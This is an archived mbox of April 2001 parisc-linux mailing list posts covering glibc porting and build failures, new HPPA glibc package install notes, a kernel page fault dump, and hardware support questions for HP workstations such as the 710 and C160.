X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3
Date: Wed, 25 Apr 2001 19:30:43 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010425193043.O18464@parcelfarce.linux.theplanet.co.uk>
References: <20010425010722.G1166@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620079 18651 80.91.229.3 (22 Nov 2014 01:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 12:44:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BABA3482A
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 12:44:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14sU3n-0001fJ-00; Wed, 25 Apr 2001 19:30:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010425010722.G1166@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Wed, Apr 25, 2001 at 01:07:22AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10924

On Wed, Apr 25, 2001 at 01:07:22AM -0600, Matthew Wilcox wrote:
> I've ported most of the remaining changes from our tree into a snapshot of today's
> upstream CVS.

I meant to say more about this last night.  The things I've skipped are:

 * a patch which does #define malloc(x) memalign(16,x)

This clearly is insufficient as Richard pointed out a few weeks ago.
We need to get malloc fixed differently.

 * Jes' patch to define ELFOSABI_LINUX and various macros which use that.
   The macros are only defined, not used, so omitting them has no
   ill-effect.  Ulrich has declined to accept these patches as part of
   glibc until we explain why it was needed.  Jes doesn't remember why
   he made this patch, so I'm leaving it out.  The curious can find the
   discussion in the mailing list archives from last december.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@thienemann.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Even more glibc problems...
Date: Wed, 25 Apr 2001 22:18:04 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104252215090.25358-100000@gate.ixs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620079 18652 80.91.229.3 (22 Nov 2014 01:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 14:18:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bender.bawue.de (bender.bawue.de [193.197.13.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55B2C482A
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 14:18:33 -0600 (MDT)
Original-Received: from gate.ixs.com (p3E9ED94F.dip.t-dialin.net [62.158.217.79])
	by bender.bawue.de (Postfix) with ESMTP id 521504863D
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 22:18:08 +0200 (CEST)
Original-Received: from localhost (andreas@localhost)
	by gate.ixs.com (8.9.3/8.9.3) with ESMTP id WAA25808
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 22:18:05 +0200
X-Sender: andreas@gate.ixs.com
Xref: news.gmane.org gmane.linux.ports.parisc:10925

Hi,

I just can't seem to get a glibc to compile on a hppa box.
The sources are the current CVS checkouts, the build box is booted with
the debian nfsroot 20010404.

The glibc compile fails with the debian compiler and only succeeds with
the CVS compiler 'gcc version 3.0 20010416 (prerelease)'.

Now, doing a make check after building the glibc fails with the following
remark:

make[2]: *** [/mnt/lfs/usr/src/glibc-build/math/test-float.out] Error 1
make[2]: Leaving directory `/mnt/lfs/usr/src/glibc/math'
make[1]: *** [math/tests] Error 2
make[1]: Leaving directory `/mnt/lfs/usr/src/glibc'
make: *** [check] Error 2

Are there some problems with the floating point calculations?

bye,
 andreas





From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Even more glibc problems...
Date: 25 Apr 2001 13:29:55 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <m3ae54iuyk.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.10.10104252215090.25358-100000@gate.ixs.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620080 18656 80.91.229.3 (22 Nov 2014 01:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andreas Thienemann <andreas@thienemann.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 14:31:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6CD3482A
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 14:30:58 -0600 (MDT)
Original-Received: from otr.mynet (dialin-sv-01.cygnus.com [205.180.231.51])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA07467;
	Wed, 25 Apr 2001 13:30:51 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 3D7413107; Wed, 25 Apr 2001 13:29:55 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Andreas Thienemann's message of "Wed, 25 Apr 2001 22:18:04 +0200 (CEST)"
Original-Lines: 15
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia)
Xref: news.gmane.org gmane.linux.ports.parisc:10926

Andreas Thienemann <andreas@thienemann.net> writes:

> Now, doing a make check after building the glibc fails with the following
> remark:
> 
> make[2]: *** [/mnt/lfs/usr/src/glibc-build/math/test-float.out] Error 1
> make[2]: Leaving directory `/mnt/lfs/usr/src/glibc/math'
> make[1]: *** [math/tests] Error 2

Why don't you read math/README.libm-test?

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New hppa glibc 2.2.1 packages
Date: Wed, 25 Apr 2001 17:40:30 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20010425234030.E019A38074@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620080 18658 80.91.229.3 (22 Nov 2014 01:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 17:37:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF50F482A
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 17:37:48 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 36A9A28A
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 19:37:48 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id E019A38074
	for <parisc-linux@parisc-linux.org>; Wed, 25 Apr 2001 17:40:30 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10927

Hi hppa hackers,

I have built new hppa glibc packages. Please read this whole message before 
installing. I have placed them at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newlibc-20010425/

They are an update of the 2.2.1 packages that were in the base tarball and 
ESIEE isos and include the following changes,

- support for large files
- fix 32-bit UIDs/GIDs
- fix minor floating-point bug
- make SHM work on 64-bit
- make getdents64 work
- make us suck less at resource limits

If you need these features, need to do a new install, or feel like upgrading 
then you should grab them. If you can wait a few days then you might want to 
wait for the 2.2.3 based packages which will be available shortly after the 
upstream 2.2.3 release.

Install Notes
-------------
You must upgrade your kernel before installing these packages. Your kernel 
must be from April 24th or later.

If you have been apt-get upgrading you may have a newer libdb2 package 
installed that shares files with this libc package. If you see this error,

   Unpacking replacement libc6 ...
   dpkg: error processing libc6_2.2.1-1_hppa.deb (--install):
   trying to overwrite `/lib/libdb.so.3', which is also in package libdb2

Then run the following,

   dpkg --install --force-overwrite libc6_2.2.1-1_hppa.deb
   apt-get --reinstall install libdb2

Once we've moved to newer packages this problem will go away.

Post any problems to the list.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] do_page_fault() pid=2456 command='ldd'
Date: Wed, 25 Apr 2001 19:53:51 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <200104260153.TAA04477@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620080 18659 80.91.229.3 (22 Nov 2014 01:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 25 20:00:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9B9D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Apr 2001 20:00:11 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id TAA04477
	for parisc-linux@lists.parisc-linux.org; Wed, 25 Apr 2001 19:53:51 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10928

Using a kernel built from 4/25 and "dpkg-buildpackage -b -uc" of
the iptables-1.2.1a sources.  I've built this package several times
before w/o problems but with slightly older kernels. I haven't tried
to reproduce this or checked to see how reproducible it is.
If anyone has an idea what caused this:

do_page_fault() pid=2456 command='ldd' type=15 address=0x0009d0b0
vm_start = 0x00084000, vm_end = 0x0009d000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111
r0-3     0000000000000000 0000000000080068 000000000000c000 000000000009a250
r4-7     000000000009b7f0 0000000000000000 00000000ffffffff 0000000000000000
r8-11    00000000ffffffff 0000000000000000 000000000009aa10 000000000009b6b0
r12-15   0000000000000000 00000000ffffffff 000000000009b870 0000000000000000
r16-19   0000000000000000 0000000000000802 0000000000081868 0000000000000000
r20-23   000000000009ac14 00000000412e8480 0000000000000001 0000000000088868
r24-27   0000000000080080 000000000009ac10 0000000000080068 0000000000080068
r28-31   0000000000000001 0000020000000000 00000000faf01d40 000000004016ebd7
sr0-3    000000000009f100 000000000009f100 0000000000000000 000000000009f100
sr4-7    000000000009f100 000000000009f100 000000000009f100 000000000009f100

IASQ: 000000000009f100 000000000009f100 IAOQ: 000000000000c007 000000000000c00b
 IIR: 65787400    ISR: 000000000009f100  IOR: 000000000009d0b0
ORIG_R28: 000000000009ac10




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= <pasik@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Couple of things
Date: Thu, 26 Apr 2001 13:31:37 +0300 (EEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0104261324110.24303-100000@edu.joroinen.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620081 18663 80.91.229.3 (22 Nov 2014 01:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 04:31:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from edu.joroinen.fi (edu.joroinen.fi [195.156.135.125])
	by dsl2.external.hp.com (Postfix) with SMTP id C9879482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 04:31:38 -0600 (MDT)
Original-Received: (qmail 3292 invoked by uid 519); 26 Apr 2001 10:31:37 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 26 Apr 2001 10:31:37 -0000
X-X-Sender: <pk@edu.joroinen.fi>
Xref: news.gmane.org gmane.linux.ports.parisc:10929

Hello!

It's nice to see Linux working nicely on those HP's. I've successfully ran
Linux on 715/80, 715/100 and 712/80.

Now I have Visualize C160, which has PCI-slots. Does Linux/pa-risc support
PCI-slots? Any idea if tulip-driver will work on Linux/pa-risc? or some
other pci-networkcard-driver? (I'd like to get 10/100Mbps network to this
machine..)

Are there known problems with STI? My machines had maximum of couple of
hours uptime when STI was enabled. Without STI those machines have been
running perfectly..


How about XFree? Is someone working on the port?


Thank you!


- Pasi K=E4rkk=E4inen

                                   ^
                                .     .
                                 Linux
                              /    -    \
                             Choice.of.the
                           .Next.Generation.





From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of things
Date: Thu, 26 Apr 2001 13:19:27 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <200104261919.NAA08896@puffin.external.hp.com>
References: <Pine.LNX.4.33.0104261324110.24303-100000@edu.joroinen.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620081 18666 80.91.229.3 (22 Nov 2014 01:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= <pasik@iki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 13:26:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46316482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 13:26:43 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA08896;
	Thu, 26 Apr 2001 13:19:27 -0600
In-Reply-To: Your message of "Thu, 26 Apr 2001 13:31:37 +0300."
             <Pine.LNX.4.33.0104261324110.24303-100000@edu.joroinen.fi> 
Xref: news.gmane.org gmane.linux.ports.parisc:10930

=?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= wrote:
> 
> Hello!
> 
> It's nice to see Linux working nicely on those HP's. I've successfully ran
> Linux on 715/80, 715/100 and 712/80.
> 
> Now I have Visualize C160, which has PCI-slots. Does Linux/pa-risc support
> PCI-slots? Any idea if tulip-driver will work on Linux/pa-risc? or some
> other pci-networkcard-driver? (I'd like to get 10/100Mbps network to this
> machine..)

Yes - the only open problem at the moment is copying from CD-ROM to disk.
Net->disk and disk->disk work fine. So if you can install via NFS root
you can try it.

> Are there known problems with STI? My machines had maximum of couple of
> hours uptime when STI was enabled. Without STI those machines have been
> running perfectly..

File bugs at bugs.parisc-linux.org.
The ESIEE team and Helge Deller have been working on STI support.
 
> How about XFree? Is someone working on the port?

I've built Xfree86 debs (with guidance from Alan Cox's patch) last week
(and those are available on pehc - soon via debian mirror). The changes
are integrated into the debian source (unstable) thanks to Branden Robinson
and Bdale Garbee. xterm and xlogo seem to work.  But I haven't tried to
run the Xserver yet. Hypothetically I should be able to run Xnest but
don't have time to fool with it right now.

And the code for HPUX (2d) support is supposed to be in the X11 consortium
source tree. I haven't looked to see how much of that is in Xfree86.
Any takers?

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeremy C. Reed" <reed@reedmedia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 710 and miscellaneous questions ...
Date: Thu, 26 Apr 2001 13:27:54 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104261258350.11174-100000@pilchuck.reedmedia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620081 18667 80.91.229.3 (22 Nov 2014 01:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 14:27:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [63.145.197.178])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29BE1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 14:27:56 -0600 (MDT)
Original-Received: from reed by pilchuck.reedmedia.net with local-esmtp (Exim 3.12 #1 (Debian))
	id 14ssMk-00069L-00; Thu, 26 Apr 2001 13:27:54 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10931

I see "[t]his mailing list exists to serve the developers." Where is
the appropriate forum to discuss basic usage?

I have an HP 700 Series Apollo Model 710. As far as I can tell it has no
usable operating system (no HPUX). I can turn it on and connect to a
series of (CMOS?/BIOS?) prompts and menus via a serial cable. It does not
have a CD drive. I do not have HPUX to do any cross-compiles. (I have
installed a variety of flavours of BSD and Linux hundreds of times, but
always on i386 architectures.)

I want to use Linux (or BSD) on it. The PA-RISC webpages have links for
documentation, but none appear to explain a basic install. Where is the
documentation for installing Linux on a hard drive?

The software page (http://www.parisc-linux.org/software/) says "nfsroot"
is the easiest way; but the instructions say "you have to build on
HP/UX."

Is there simply a filesystem image (with kernel and userspace) that I can
dd to a harddrive that I can then use to boot my HP 710)? If so, where is
it? (And where is this documented?)

Also, I see an ISO image at
ftp://puffin.external.hp.com/pub/parisc/cd-images/; is there any
(easy) way to convert this ISO image to an image that I can dd on to my
hardrive (to use to boot)?

Thanks,

   Jeremy C. Reed
   http://bsd.reedmedia.net/





From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Stewart" <pdksh@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 710 and miscellaneous questions ...
Date: Thu, 26 Apr 2001 16:57:06 -0400
Lines: 71
Approved: news@gmane.org
Message-ID: <OE25oryKFRJrzdDW6lC000046f5@hotmail.com>
References: <Pine.LNX.4.21.0104261258350.11174-100000@pilchuck.reedmedia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620082 18670 80.91.229.3 (22 Nov 2014 01:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:42 +0000 (UTC)
To: "Jeremy C. Reed" <reed@reedmedia.net>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 14:55:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe25.law14.hotmail.com [64.4.20.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id B611D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 14:55:33 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 26 Apr 2001 13:55:32 -0700
X-Originating-IP: [64.231.170.153]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 26 Apr 2001 20:55:32.0123 (UTC) FILETIME=[3B90BEB0:01C0CE93]
Xref: news.gmane.org gmane.linux.ports.parisc:10932

You will find the HP710 is not going to work for you at this moment. The 710
has a ASP bus that has some problems with the interrupt controller (that is
the suspicion of the pa-risc linux group). I have been unsuccessful in
getting it to run. The network card stops working at boot and the scsi
driver will not detect any scsi devices.

I went one step further and created a large ramdisk (8-9 meg) and tried to
boot and run entirely in the ram disk. Init fails as soon as the kernel
passes control to it. I would recommend using mklinux for the time being,
there is a lot of interest in that machine but the documentation that is
needed to resolve the interrupt problem is not in the hands of the right
people. I would like to be optimistic and say in 6 months or so the pa-risc
linux gurus out there will have a fix.

mklinux:
ftp://ftp.cirr.com/pub/hppa/mklinux/
basically you d/l a disk image and the usr.tar, var.tar files and dd the
image to a hard drive on a second machine.

I hope this helps


----- Original Message -----
From: "Jeremy C. Reed" <reed@reedmedia.net>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Thursday, April 26, 2001 4:27 PM
Subject: [parisc-linux] HP 710 and miscellaneous questions ...


> I see "[t]his mailing list exists to serve the developers." Where is
> the appropriate forum to discuss basic usage?
>
> I have an HP 700 Series Apollo Model 710. As far as I can tell it has no
> usable operating system (no HPUX). I can turn it on and connect to a
> series of (CMOS?/BIOS?) prompts and menus via a serial cable. It does not
> have a CD drive. I do not have HPUX to do any cross-compiles. (I have
> installed a variety of flavours of BSD and Linux hundreds of times, but
> always on i386 architectures.)
>
> I want to use Linux (or BSD) on it. The PA-RISC webpages have links for
> documentation, but none appear to explain a basic install. Where is the
> documentation for installing Linux on a hard drive?
>
> The software page (http://www.parisc-linux.org/software/) says "nfsroot"
> is the easiest way; but the instructions say "you have to build on
> HP/UX."
>
> Is there simply a filesystem image (with kernel and userspace) that I can
> dd to a harddrive that I can then use to boot my HP 710)? If so, where is
> it? (And where is this documented?)
>
> Also, I see an ISO image at
> ftp://puffin.external.hp.com/pub/parisc/cd-images/; is there any
> (easy) way to convert this ISO image to an image that I can dd on to my
> hardrive (to use to boot)?
>
> Thanks,
>
>    Jeremy C. Reed
>    http://bsd.reedmedia.net/
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:17:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Weatherall" <peter.weatherall@3beans.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 710 and miscellaneous questions ...
Date: Thu, 26 Apr 2001 16:19:09 -0500
Lines: 120
Approved: news@gmane.org
Message-ID: <003401c0ce96$88726af0$a2035ad8@3beans.com>
References: <Pine.LNX.4.21.0104261258350.11174-100000@pilchuck.reedmedia.net> <OE25oryKFRJrzdDW6lC000046f5@hotmail.com>
Reply-To: "Peter Weatherall" <peter.weatherall@3beans.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620082 18676 80.91.229.3 (22 Nov 2014 01:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:42 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 26 15:21:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.oplnk.net (unknown [216.90.3.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 518D1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 15:21:01 -0600 (MDT)
Original-Received: from deskbean (216-90-3-162.dsl.oplnk.net [216.90.3.162])
	by mail.oplnk.net (Postfix) with SMTP id AF5964E00C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Apr 2001 16:41:06 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10933

I have a C160. When I boot it , I see the following message -

>>>>
Dino version 2.1 (bridge mode) found at 0xf1600000


The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:795!
>>>>>

How can I determine if my c160 is affected ? what's this kernel bug at
dino.c all about and is there some Dino documentation available ?

Thanks
Peter

Where can I learn more about





----- Original Message -----
From: "Brian Stewart" <pdksh@hotmail.com>
To: "Jeremy C. Reed" <reed@reedmedia.net>;
<parisc-linux@lists.parisc-linux.org>
Sent: Thursday, April 26, 2001 3:57 PM
Subject: Re: [parisc-linux] HP 710 and miscellaneous questions ...


> You will find the HP710 is not going to work for you at this moment. The
710
> has a ASP bus that has some problems with the interrupt controller (that
is
> the suspicion of the pa-risc linux group). I have been unsuccessful in
> getting it to run. The network card stops working at boot and the scsi
> driver will not detect any scsi devices.
>
> I went one step further and created a large ramdisk (8-9 meg) and tried to
> boot and run entirely in the ram disk. Init fails as soon as the kernel
> passes control to it. I would recommend using mklinux for the time being,
> there is a lot of interest in that machine but the documentation that is
> needed to resolve the interrupt problem is not in the hands of the right
> people. I would like to be optimistic and say in 6 months or so the
pa-risc
> linux gurus out there will have a fix.
>
> mklinux:
> ftp://ftp.cirr.com/pub/hppa/mklinux/
> basically you d/l a disk image and the usr.tar, var.tar files and dd the
> image to a hard drive on a second machine.
>
> I hope this helps
>
>
> ----- Original Message -----
> From: "Jeremy C. Reed" <reed@reedmedia.net>
> To: <parisc-linux@lists.parisc-linux.org>
> Sent: Thursday, April 26, 2001 4:27 PM
> Subject: [parisc-linux] HP 710 and miscellaneous questions ...
>
>
> > I see "[t]his mailing list exists to serve the developers." Where is
> > the appropriate forum to discuss basic usage?
> >
